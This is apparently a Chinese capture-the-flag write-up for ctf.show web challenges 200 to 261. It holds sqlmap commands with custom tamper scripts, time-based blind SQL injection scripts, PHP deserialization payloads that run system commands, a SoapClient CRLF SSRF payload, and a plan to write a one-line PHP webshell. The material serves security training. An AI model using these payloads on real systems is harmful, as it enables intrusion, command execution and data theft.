web200 同上
web201 终于来到了我最喜欢的脚本小子环节,sqlmap启动!
使用–user-agent 指定agent
使用–referer 绕过referer检查
1 sqlmap -u "http://f664eb27-796 d-4 e18-8 bd3-4862 bd212ee2.challenge.ctf.show/api/index.php?id=1" -D ctfshow_web -T ctfshow_user -C pass -dump --refer="http://f664eb27-796 d-4 e18-8 bd3-4862 bd212ee2.challenge.ctf.show/sqlmap.php"
可以加个--batch
默认帮你选择Y/N
web202
1 2 3 4 POST型表单注入的三种参数1 :2 :-r3 :
1 sqlmap -u "http://4d517dd8-3 ef0-48 f7-904 e-0 a86d4f075ac.challenge.ctf.show/api/index.php" -data="id=1" -D ctfshow_web -T ctfshow_user -C pass --dump --batch --referer="http://4d517dd8-3 ef0-48 f7-904 e-0 a86d4f075ac.challenge.ctf.show/sqlmap.php"
web203
1 sqlmap -u "http://b7e72114-18e9-4c2b-9927-826055d0c9ee.challenge.ctf.show/api/index.php" --method=PUT --data= "id=1" -D ctfshow_web -T ctfshow_user -C pass --dump --batch --referer= "http://b7e72114-18e9-4c2b-9927-826055d0c9ee.challenge.ctf.show/sqlmap.php" --headers= "Content-Type: text/plain"
–headers=headers额外的headers(例如,“Accept Language:fr\nETag:123”)
web204
在控制台查看cookie
1 sqlmap -u "http://1d1128b4-cdc0-4b9b-bdf9-1bda56053e44.challenge.ctf.show/api/index.php" --method=PUT --data= "id=1" -D ctfshow_web -T ctfshow_user -C pass --dump --batch --referer= "ctf.show" --headers= "Content-Type: text/plain" --cookie "PHPSESSID=nonfr3ujausg4k7h9s920otkvt; ctfshow=554588b21d2f8205db5f1e69b840deb3"
web205 api调用需要鉴权
1 2 3 4 5 --safe-url 设置在测试目标地址前访问的安全链接--safe-freq 设置两次注入测试前访问安全链接的次数 sqlmap -u "http://8712145e-f08c-4eab-a114-61804e9f2436.challenge.ctf.show/api/index.php" --method=PUT --data= "id=1" -D ctfshow_web -T ctfshow_flax -C flagx --dump --batch --referer= "ctf.show" --headers= "Content-Type: text/plain" --safe-url http://8712145e-f08c-4eab-a114-61804e9f2436.challenge.ctf.show/api/getToken.php --safe-freq 1
web206 基本和上面一样,改一下表名列名就好了。
1 sqlmap -u "http://9c44aaa3-d089-4bc2-80b2-d9ce5ec97dd3.challenge.ctf.show/api/index.php" --method =PUT --data="id=1" -D ctfshow_web -T ctfshow_flaxc -C flagv --dump --batch --referer="ctf.show" --headers="Content-Type: text/plain" --safe-url http://9c44aaa3-d089-4bc2 -80b2 -d9ce5ec97dd3.challenge.ctf.show /api/getToken.php --safe-freq 1
web207 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 举例如下tamper脚本: apostrophemask.py 用utf8代替引号 equaltolike.py MSSQL * SQLite中like 代替等号 greatest.py MySQL中绕过过滤’>’ ,用GREATEST替换大于号 space2hash.py 空格替换为#号 随机字符串 以及换行符 space2comment.py 用代替空格 apostrophenullencode.py MySQL 4 , 5.0 and 5.5 ,Oracle 10 g,PostgreSQL绕过过滤双引号,替换字符和双引号 halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论 space2morehash.py MySQL中空格替换为 #号 以及更多随机字符串 换行符 appendnullbyte.p Microsoft Access 在有效负荷结束位置加载零字节字符编码 ifnull2ifisnull.py MySQL,SQLite (possibly),SAP MaxDB绕过对 IFNULL 过滤 space2mssqlblank.py mssql空格替换为其它空符号 base64encode.py 用base64编码 space2mssqlhash.py mssql查询中替换空格 modsecurityversioned.py mysql中过滤空格,包含完整的查询版本注释 space2mysqlblank.py mysql中空格替换其它空白符号between .py MS SQL 2005 ,MySQL 4 , 5.0 and 5.5 * Oracle 10 g * PostgreSQL 8.3 , 8.4 , 9.0 中用between 替换大于号(>) space2mysqldash.py MySQL,MSSQL替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’) multiplespaces.py 围绕SQL 关键字添加多个空格 space2plus.py 用+替换空格 bluecoat.py MySQL 5.1 , SGOS代替空格字符后与一个有效的随机空白字符的SQL 语句。 然后替换=为like nonrecursivereplacement.py 双重查询语句。取代predefined SQL 关键字with 表示 suitable for 替代 space2randomblank.py 代替空格字符(“”)从一个随机的空白字符可选字符的有效集 sp_password.py 追加sp_password’从DBMS日志的自动模糊处理的26 有效载荷的末尾 chardoubleencode.py 双url编码(不处理以编码的) unionalltounion.py 替换UNION ALL SELECT UNION SELECT charencode.py Microsoft SQL Server 2005 ,MySQL 4 , 5.0 and 5.5 ,Oracle 10 g,PostgreSQL 8.3 , 8.4 , 9.0 url编码; randomcase.py Microsoft SQL Server 2005 ,MySQL 4 , 5.0 and 5.5 ,Oracle 10 g,PostgreSQL 8.3 , 8.4 , 9.0 中随机大小写 unmagicquotes.py 宽字符绕过 GPC addslashes randomcomments.py 用分割sql 关键字 charunicodeencode.py ASP,ASP.NET中字符串 unicode 编码 securesphere.py 追加特制的字符串 versionedmorekeywords.py MySQL >= 5.1 .13 注释绕过 halfversionedmorekeywords.py MySQL < 5.1 中关键字前加注释
增加了过滤,过滤了空格,可以直接用sqlmap中自带的tamper space2comment.py将空格替换成/**/
1 sqlmap -u "http://ae4e085f-1e86-46bd-b242-d06fe71362f6.challenge.ctf.show/api/index.php" --method=PUT --data= "id=1" -D ctfshow_web -T ctfshow_flaxca -C flagvc --dump --batch --referer= "ctf.show" --headers= "Content-Type: text/plain" --safe-url http://ae4e085f-1e86-46bd-b242-d06fe71362f6.challenge.ctf.show/api/getToken.php --safe-freq 1 --tamper space2comment.py
web208 虽然过滤了小写的select,但是sqlmap都是使用的大写,所以用上一题就可以了
1 sqlmap -u "http://ae4e085f-1e86-46bd-b242-d06fe71362f6.challenge.ctf.show/api/index.php" --method=PUT --data= "id=1" -D ctfshow_web -T ctfshow_flaxca -C flagvc --dump --batch --referer= "ctf.show" --headers= "Content-Type: text/plain" --safe-url http://ae4e085f-1e86-46bd-b242-d06fe71362f6.challenge.ctf.show/api/getToken.php --safe-freq 1 --tamper space2comment.py
web209 1 2 3 4 5 // 对传入的参数进行了过滤 function waf($str ){ // TODO 未完工 return preg_match('/ |\*|\=/' , $str ); }
过滤空格和*
还有=
可以用equaltolike.py用LIKE
代替等号
*
的话,上面的tamper用不了了,可以改一下,改用编码%9
代替空格
可以改一下,网上抄一个现成的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from lib.core.compat import xrangefrom lib.core.enums import PRIORITYfrom lib.core.common import singleTimeWarnMessagefrom lib.core.enums import DBMS __priority__ = PRIORITY.LOWdef dependencies (): pass def tamper (payload, **kwargs ): payload = space2comment(payload) return payloaddef space2comment (payload ): retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False , False , False for i in xrange(len (payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += chr (0x09 ) continue elif payload[i] == '\'' : quote = not quote elif payload[i] == '"' : doublequote = not doublequote elif payload[i] == '=' : retVal += chr (0x09 ) + 'like' + chr (0x09 ) continue elif payload[i] == "*" : retVal += chr (0x31 ) continue elif payload[i] == " " and not doublequote and not quote: retVal += chr (0x09 ) continue retVal += payload[i] return retVal
然后同时使用ctfshow209.py
1 sqlmap -u "http://d7ce3c3a-3bac-46d0-b1e4-88005a3dec1b.challenge.ctf.show/api/index.php" --data= "id=1" --refer= "ctf.show" --method= "PUT" --headers= "Content-Type:text/plain" --safe-url= "http://d7ce3c3a-3bac-46d0-b1e4-88005a3dec1b.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx,id,tes --dump --batch --tamper "ctfshow209.py"
web210 1 2 3 function decode ($id){ return strrev(base64_decode(strrev(base64_decode($id)))) ; }
解密反转解密再反转,也就是说我们需要将payload见加密再反转再加密反转
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from lib.core.compat import xrangefrom lib.core.enums import PRIORITYfrom base64 import * __priority__ = PRIORITY.LOWdef dependencies (): pass def tamper (payload, **kwargs ): retVal = payload if payload: retVal = b64encode("" .join(reversed (b64encode("" .join(reversed (retVal)).encode('utf-8' )).decode('utf-8' ))).encode('utf-8' )).decode('utf-8' ) return retVal
1 sqlmap -u "http://48c4d879-eb47-4dbf-a064-308decfe2366.challenge.ctf.show/api/index.php" --data= "id=1" --refer= "ctf.show" --method= "PUT" --headers= "Content-Type:text/plain" --safe-url= "http://48c4d879-eb47-4dbf-a064-308decfe2366.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavi -C ctfshow_flagxx,id,tes --dump --batch --tamper ctfshow210.py
web211 在上题的基础上加了个空格过滤
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from lib.core.compat import xrangefrom lib.core.enums import PRIORITYfrom base64 import * __priority__ = PRIORITY.LOWdef dependencies (): pass def tamper (payload, **kwargs ): retVal = payload if payload: retVal = retVal.replace(' ' ,chr (0x09 )) retVal = b64encode("" .join(reversed (b64encode("" .join(reversed (retVal)).encode('utf-8' )).decode('utf-8' ))).encode('utf-8' )).decode('utf-8' ) return retVal
web212 同上
web213 加个参数–os-shell
方便读文件(flag在文件里)
1 sqlmap -u "http://36a5122c-292e-4e0d-9ba5-5bbd26105ead.challenge.ctf.show/api/index.php" --data= "id=1" --refer= "ctf.show" --method= "PUT" --headers= "Content-Type:text/plain" --safe-url= "http://36a5122c-292e-4e0d-9ba5-5bbd26105ead.challenge.ctf.show/api/getToken.php" --safe-freq=1 --batch --tamper "ctfshow210.py" --os-shell
web214 这也没注入点吧。。。
1 2 3 4 5 6 7 8 9 10 11 GET /time.php HTTP/1 .1 Host : 54 d082df-796 f-4377 -a9c9-fa832d1ba1f3.challenge.ctf.showCache -Control: max-age=0 Upgrade -Insecure-Requests: 1 User -Agent: Mozilla/5 .0 (Windows NT 10 .0 ; Win64; x64) AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537 .36 Edg/119.0.0.0 Accept : text/html,application/xhtml+xml,application/xml;q=0 .9 ,image/webp,image/apng,*/*;q=0 .8 ,application/signed-exchange;v=b3;q=0 .7 Referer : http://54 d082df-796 f-4377 -a9c9-fa832d1ba1f3.challenge.ctf.show/Accept -Encoding: gzip, deflate, brAccept -Language: zh-CN,zh;q=0 .9 ,en;q=0 .8 ,en-GB;q=0 .7 ,en-US;q=0 .6 Cookie : PHPSESSID=631 qkfc103fi7rvrbll0jqibuqConnection : close
看别的wp注入点是ip
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import requests url = "http://9fdb207d-9182-46ee-b9bc-cf3f4f231d17.challenge.ctf.show/api/" s='0123456789abcdef-}' flag='ctfshow{' for i in range (9 ,50 ): print (i) for j in s: ''' data = { 'ip' : f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))={ord(j)},sleep(3),1)#", 'debug' : '0' } data = { 'ip' : f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'),{i},1))={ord(j)},sleep(3),1)#", 'debug' : '0' } ''' data = { 'ip' : f"if(ascii(substr((select flaga from `ctfshow_flagx`),{i} ,1))={ord (j)} ,sleep(3),1)#" , 'debug' : '0' } try : r = requests.post(url, data, timeout=2 ) except : flag+=j print (flag) break
web215 题目描述:用了单引号
稍微改一下就行了,加上单引号
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import requests url = "http://431191e5-306e-4490-a6a3-51afeb27314b.challenge.ctf.show/api/" s='0123456789abcdef-}' flag='ctfshow{' for i in range (9 ,50 ): print (i) for j in s: ''' data = { 'ip' : f"'||if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))={ord(j)},sleep(3),1)#", 'debug' : '0' } data = { 'ip' : f"'||if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'),{i},1))={ord(j)},sleep(3),1)#", 'debug' : '0' } ''' data = { 'ip' : f"'||if(ascii(substr((select flagaa from `ctfshow_flagxc`),{i} ,1))={ord (j)} ,sleep(3),1)#" , 'debug' : '0' } try : r = requests.post(url, data, timeout=2 ) except : flag+=j print (flag) break
web216 1 where id = from_base64($id );
加个)
闭合掉,但id值不能为空,随便输个值就好了
羽师傅的脚本真好用~
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import requests url = "http://c18edd79-c6d8-4134-bd6b-02721bff171d.challenge.ctf.show/api/" s='0123456789abcdef-}' flag='ctfshow{' for i in range (9 ,50 ): print (i) for j in s: ''' data = { 'ip' : f"0)||if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))={ord(j)},sleep(3),1)#", 'debug' : '0' } data = { 'ip' : f"0)||if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcc'),{i},1))={ord(j)},sleep(3),1)#", 'debug' : '0' } ''' data = { 'ip' : f"1)||if(ascii(substr((select flagaac from `ctfshow_flagxcc`),{i} ,1))={ord (j)} ,sleep(3),1)#" , 'debug' : '0' } try : r = requests.post(url, data, timeout=2 ) except : flag+=j print (flag) break
web217 1 2 3 4 function waf ($str ) { return preg_match ('/sleep/i' ,$str ); }
过滤slepp
,可以用
1 2 benchmark (6666666 ,md5(1 ) ) 第一个参数指的是执行次数、第二参数指的是执行语句
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import requestsimport time url = "http://440a4507-cae0-4e33-b178-bf580f8551ee.challenge.ctf.show/api/" s='0123456789abcdef-}' flag='ctfshow{' for i in range (9 ,50 ): print (i) for j in s: ''' data = { 'ip' : f"0)||if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))={ord(j)},benchmark(5000000,md5('yu22x'),1)#", 'debug' : '0' } data = { 'ip' : f"0)||if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxccb'),{i},1))={ord(j)},benchmark(5000000,md5('yu22x'),1)#", 'debug' : '0' } ''' data = { 'ip' : f"0)||if(ascii(substr((select flagaabc from `ctfshow_flagxccb`),{i} ,1))={ord (j)} ,benchmark(5000000,md5('yu22x')),1)#" , 'debug' : '0' } time.sleep(0.4 ) try : r = requests.post(url, data, timeout=2 ) except : flag+=j print (flag) break
如果会被服务跑崩,就改大一点time.sleep
web218 反序列化 web254 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?php error_reporting (0 );highlight_file (__FILE__ );include ('flag.php' );class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public function checkVip ( ) { return $this ->isVip; } public function login ($u ,$p ) { if ($this ->username===$u &&$this ->password===$p ){ $this ->isVip=true ; } return $this ->isVip; } public function vipOneKeyGetFlag ( ) { if ($this ->isVip){ global $flag ; echo "your flag is " .$flag ; }else { echo "no vip, no flag" ; } } }$username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = new ctfShowUser (); if ($user ->login ($username ,$password )){ if ($user ->checkVip ()){ $user ->vipOneKeyGetFlag (); } }else { echo "no vip,no flag" ; } }
连序列化入口都没有,估计还没正式开始考察反序列化,只需要传入
1 ?username =xxxxxx&password=xxxxxx
就可以了
web255 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php error_reporting (0 );highlight_file (__FILE__ );include ('flag.php' );class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public function checkVip ( ) { return $this ->isVip; } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function vipOneKeyGetFlag ( ) { if ($this ->isVip){ global $flag ; echo "your flag is " .$flag ; }else { echo "no vip, no flag" ; } } }$username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = unserialize ($_COOKIE ['user' ]); if ($user ->login ($username ,$password )){ if ($user ->checkVip ()){ $user ->vipOneKeyGetFlag (); } }else { echo "no vip,no flag" ; } }
需要
1 ?username =xxxxxx&password=xxxxxx
同时当验证成功时,它不会像上一题那也设置$this->isVip=true;,但这里的public $isVip=false;是public的,通过反序列化来实现
1 2 3 $user = new ctfShowUser ();$user ->isVip = true ;echo urlencode (serialize ($user ));
同时只有类和变量会被反序列化,其他都可以去掉,所以也可以这样
由于cookie中将"
作为截断符号,需要编码绕过
1 2 3 4 5 6 7 8 9 <?php class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =true ; }echo (urlencode (serialize (new ctfShowUser ())));?>
payload
1 user =O%3 A11%3 A%22 ctfShowUser%22 %3 A3%3 A%7 Bs%3 A8%3 A%22 username%22 %3 Bs%3 A6%3 A%22 xxxxxx%22 %3 Bs%3 A8%3 A%22 password%22 %3 Bs%3 A6%3 A%22 xxxxxx%22 %3 Bs%3 A5%3 A%22 isVip%22 %3 Bb%3 A1%3 B%7 D
web256 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php error_reporting (0 );highlight_file (__FILE__ );include ('flag.php' );class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public function checkVip ( ) { return $this ->isVip; } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function vipOneKeyGetFlag ( ) { if ($this ->isVip){ global $flag ; if ($this ->username!==$this ->password){ echo "your flag is " .$flag ; } }else { echo "no vip, no flag" ; } } }$username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = unserialize ($_COOKIE ['user' ]); if ($user ->login ($username ,$password )){ if ($user ->checkVip ()){ $user ->vipOneKeyGetFlag (); } }else { echo "no vip,no flag" ; } }
相比上题多了这个判断
1 if ($this ->username!==$this ->password)
传入的username和password值不同就行了
1 2 3 4 5 6 7 8 <?php class ctfShowUser { public $username ='1' ; public $password ='2' ; public $isVip =true ; }echo (urlencode (serialize (new ctfShowUser ())));?>
web257 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 <?php error_reporting (0 );highlight_file (__FILE__ );class ctfShowUser { private $username ='xxxxxx' ; private $password ='xxxxxx' ; private $isVip =false ; private $class = 'info' ; public function __construct ( ) { $this ->class =new info (); } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function __destruct ( ) { $this ->class ->getInfo (); } } class info { private $user ='xxxxxx' ; public function getInfo ( ) { return $this ->user; } }class backDoor { private $code ; public function getInfo ( ) { eval ($this ->code); } }$username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = unserialize ($_COOKIE ['user' ]); $user ->login ($username ,$password ); }
可以看到backDoor的getInfo()可以执行代码,但是这里的construct方法会初始化info()这个类(construct方法在初始化一个类的时候被触发),然后destruct方法触发会调用info()类中的getInfo方法(在销毁时候触发destruct方法,),然后返回user对象的值,也就是说,按它正常的流程,我们无法调用backDoor类的getInfo()来执行代码。
但在序列化的时候把__construct方法初始化的类从info改为backDoor就可以成功调用了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class ctfShowUser { private $username ='xxxxxx' ; private $password ='xxxxxx' ; private $isVip =true ; private $class = 'info' ; public function __construct ( ) { $this ->class =new backDoor (); } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function __destruct ( ) { $this ->class ->getInfo (); } } class backDoor { private $code ='system("tac flag.php");' ; public function getInfo ( ) { eval ($this ->code); } }echo (urlencode (serialize (new ctfShowUser ())));
1 user =O%3 A11%3 A%22 ctfShowUser%22 %3 A4%3 A%7 Bs%3 A21%3 A%22 %00 ctfShowUser%00 username%22 %3 Bs%3 A6%3 A%22 xxxxxx%22 %3 Bs%3 A21%3 A%22 %00 ctfShowUser%00 password%22 %3 Bs%3 A6%3 A%22 xxxxxx%22 %3 Bs%3 A18%3 A%22 %00 ctfShowUser%00 isVip%22 %3 Bb%3 A1%3 Bs%3 A18%3 A%22 %00 ctfShowUser%00 class%22 %3 BO%3 A8%3 A%22 backDoor%22 %3 A1%3 A%7 Bs%3 A14%3 A%22 %00 backDoor%00 code%22 %3 Bs%3 A23%3 A%22 system%28 %22 tac+flag.php%22 %29 %3 B%22 %3 B%7 D%7 D
web258 考查加号绕过正则(利用 unserialize
函数的一个特性)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?php error_reporting (0 );highlight_file (__FILE__ );class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public $class = 'info' ; public function __construct ( ) { $this ->class =new info (); } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function __destruct ( ) { $this ->class ->getInfo (); } } class info { public $user ='xxxxxx' ; public function getInfo ( ) { return $this ->user; } }class backDoor { public $code ; public function getInfo ( ) { eval ($this ->code); } }$username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ if (!preg_match ('/[oc]:\d+:/i' , $_COOKIE ['user' ])){ $user = unserialize ($_COOKIE ['user' ]); } $user ->login ($username ,$password ); }
/
和 /
:正则表达式通常用斜杠字符 /
包围,表示正则表达式的开始和结束。
[oc]
:这是一个字符类,它匹配单个字符。在这里,它匹配字符 “o” 或 “c”。
:
:匹配冒号字符 “:”。
\d+
:这是一个匹配一个或多个数字的表达式。
:
:再次匹配冒号字符 “:”。
i
:这是一个标志,表示正则表达式是不区分大小写的,即它会匹配 “O:1:”、”C:456:”、”Oc:789:” 等等。
可以在数字前加上加号绕过,比如
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =true ; public $class = 'info' ; public function __construct ( ) { $this ->class =new backDoor (); } public function __destruct () { $this ->class ->getInfo (); } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } } class backDoor { public $code ="system('tac f*');" ; public function getInfo ( ) { eval ($this ->code); } }$a = new ctfShowUser ();$a = serialize ($a );$a = str_replace ('O:' , 'O:+' ,$a );echo urlencode ($a );
1 user =O%3 A%2 B11%3 A%22 ctfShowUser%22 %3 A4%3 A%7 Bs%3 A8%3 A%22 username%22 %3 Bs%3 A6%3 A%22 xxxxxx%22 %3 Bs%3 A8%3 A%22 password%22 %3 Bs%3 A6%3 A%22 xxxxxx%22 %3 Bs%3 A5%3 A%22 isVip%22 %3 Bb%3 A1%3 Bs%3 A5%3 A%22 class%22 %3 BO%3 A%2 B8%3 A%22 backDoor%22 %3 A1%3 A%7 Bs%3 A4%3 A%22 code%22 %3 Bs%3 A17%3 A%22 system%28 %27 tac+f%2 A%27 %29 %3 B%22 %3 B%7 D%7 D
web259 参考wp:从一道题学习SoapClient与CRLF组合拳_soapclient引发crlf_Y4tacker的博客-CSDN博客
考点:利用 SoapClient
+ CRLF
实现 SSRF
,构造请求访问 flag.php
。
关于CRLF注入攻击 CRLF是“回车+换行”(\r\n)的简称,其十六进制编码分别为0x0d和0x0a。在HTTP协议中,HTTP header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码。CRLF漏洞常出现在Location与Set-cookie消息头中。
1 2 3 4 5 6 7 8 9 <?php highlight_file (__FILE__ );$vip = unserialize ($_GET ['vip' ]);$vip ->getFlag ();
$vip->getFlag();
因为调用了类中没有的方法所以会导致__call
的执行,原生类SoapClient类内置了call方法(想要使用SoapClient类需要在php.ini配置文件里面开启extension=php_soap.dll选项),一些解释
flag.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 $xff = explode (',' , $_SERVER ['HTTP_X_FORWARDED_FOR' ]);array_pop ($xff );$ip = array_pop ($xff );if ($ip !=='127.0.0.1' ){ die ('error' ); }else { $token = $_POST ['token' ]; if ($token =='ctfshow' ){ file_put_contents ('flag.txt' ,$flag ); } }
看了这个flag.php的源码,可能会疑惑,为什么不直接设置xff头为127.0.0.1来绕过限制 呢,而是要采用那么复杂的方法
维护代理服务器和原始访问者IP地址。
如果发送到Cloudflare的请求中不含现有的X-Forwarded-For标头,X-Forwarded-For将具有与CF-Connecting-IP标头相同的值:
1 示例: X-Forwarded-For:203.0.113.1
如果发送到Cloudflare 的请求中已存在X-Forwarded-For标头,则Cloudflare会将HTTP代理的IP地址附加到这个标头:
1 示例:X-Forwarded-For : 203.0 .113.1 ,198.51 .100.101 ,198.51 .100.10
现在再看flag.php的源码,在本题的环境由于使用了Cloudflare代理导致,Cloudflare会将HTTP代理的IP地址附加到这个标头,本题就是后者的情况,在两次调用array_pop后我们取得的始终是固定的服务器IP,也就是203.0.113.1,始终无法是127.0.0.1
因此才需要SoapClient
+ CRLF
实现 SSRF
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php $target = 'http://127.0.0.1/flag.php' ;$post_string = 'token=ctfshow' ;$headers = array ( 'X-Forwarded-For: 127.0.0.1,127.0.0.1,127.0.0.1,127.0.0.1,127.0.0.1' , 'UM_distinctid:175648cc09a7ae-050bc162c95347-32667006-13c680-175648cc09b69d' );$b = new SoapClient (null ,array ('location' => $target ,'user_agent' =>'yn8rt^^Content-Type: application/x-www-form-urlencoded^^' .join ('^^' ,$headers ).'^^Content-Length: ' .(string )strlen ($post_string ).'^^^^' .$post_string ,'uri' => "aaab" ));$aaa = serialize ($b );$aaa = str_replace ('^^' ,"\r\n" ,$aaa );$aaa = str_replace ('&' ,'&' ,$aaa );echo urlencode ($aaa );?> O%3 A10%3 A%22 SoapClient%22 %3 A4%3 A%7 Bs%3 A3%3 A%22 uri%22 %3 Bs%3 A4%3 A%22 aaab%22 %3 Bs%3 A8%3 A%22 location%22 %3 Bs%3 A25%3 A%22 http%3 A%2 F%2 F127.0.0 .1 %2 Fflag.php%22 %3 Bs%3 A11%3 A%22 _user_agent%22 %3 Bs%3 A235%3 A%22 yn8rt%0 D%0 AContent-Type%3 A+application%2 Fx-www-form-urlencoded%0 D%0 AX-Forwarded-For%3 A+127.0 .0.1 %2 C127.0.0 .1 %2 C127.0.0 .1 %2 C127.0.0 .1 %2 C127.0.0 .1 %0 D%0 AUM_distinctid%3 A175648cc09a7ae-050 bc162c95347-32667006 -13 c680-175648 cc09b69d%0 D%0 AContent-Length%3 A+13 %0 D%0 A%0 D%0 Atoken%3 Dctfshow%22 %3 Bs%3 A13%3 A%22 _soap_version%22 %3 Bi%3 A1%3 B%7 D
$vip = unserialize($_GET['vip']);
也就就是$vip = new SoapClient(n...,...)
这里只是简单的给出payload,实际还需要测试判断哪个部分可控(本题中SOAPAction处可控,可以把\x0d\x0a
注入到SOAPAction,从而控制POST请求的header)
可以用requestbin测试
1 2 3 4 <?php $a = new SoapClient (null ,array ('uri' =>'bbb' , 'location' =>'http://requestbin.net/r/1jm1cxz1' ));$b = serialize ($a );echo urlencode ($b );
还有就是,post传参时需要Content-Typ为application/x-www-form-urlencoded
web260 1 2 3 4 5 6 7 8 9 <?php error_reporting (0 );highlight_file (__FILE__ );include ('flag.php' );if (preg_match ('/ctfshow_i_love_36D/' ,serialize ($_GET ['ctfshow' ]))){ echo $flag ; }
能匹配ctfshow_i_love_36D就行了
1 2 3 4 5 6 7 8 9 10 <?php class aaa { public $bbb = 'ctfshow_i_love_36D' ; } $a = serialize (new aaa ());echo ($a );echo urlencode ($a );?>
web261 让我们打Redis
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php highlight_file (__FILE__ );class ctfshowvip { public $username ; public $password ; public $code ; public function __construct ($u ,$p ) { $this ->username=$u ; $this ->password=$p ; } public function __wakeup ( ) { if ($this ->username!='' || $this ->password!='' ){ die ('error' ); } } public function __invoke ( ) { eval ($this ->code); } public function __sleep ( ) { $this ->username='' ; $this ->password='' ; } public function __unserialize ($data ) { $this ->username=$data ['username' ]; $this ->password=$data ['password' ]; $this ->code = $this ->username.$this ->password; } public function __destruct ( ) { if ($this ->code==0x36d ){ file_put_contents ($this ->username, $this ->password); } } }unserialize ($_GET ['vip' ]);
如果类中同时定义了 __unserialize()
和 __wakeup()
两个魔术方法,则只有 __unserialize()
方法会生效,__wakeup()
方法会被忽略。 注意:此特性自 PHP 7.4.0 起可用。
code的值在__unserialize()反序列化时被赋值,又因为$this->code==0x36d,所以usernam的值要以877开头(877是0x36d的十进制),令username=877.php,password等于一句话木马即可,这样会写入一个877.php内容是一句话
这里877.php==877是成立的(弱类型比较)
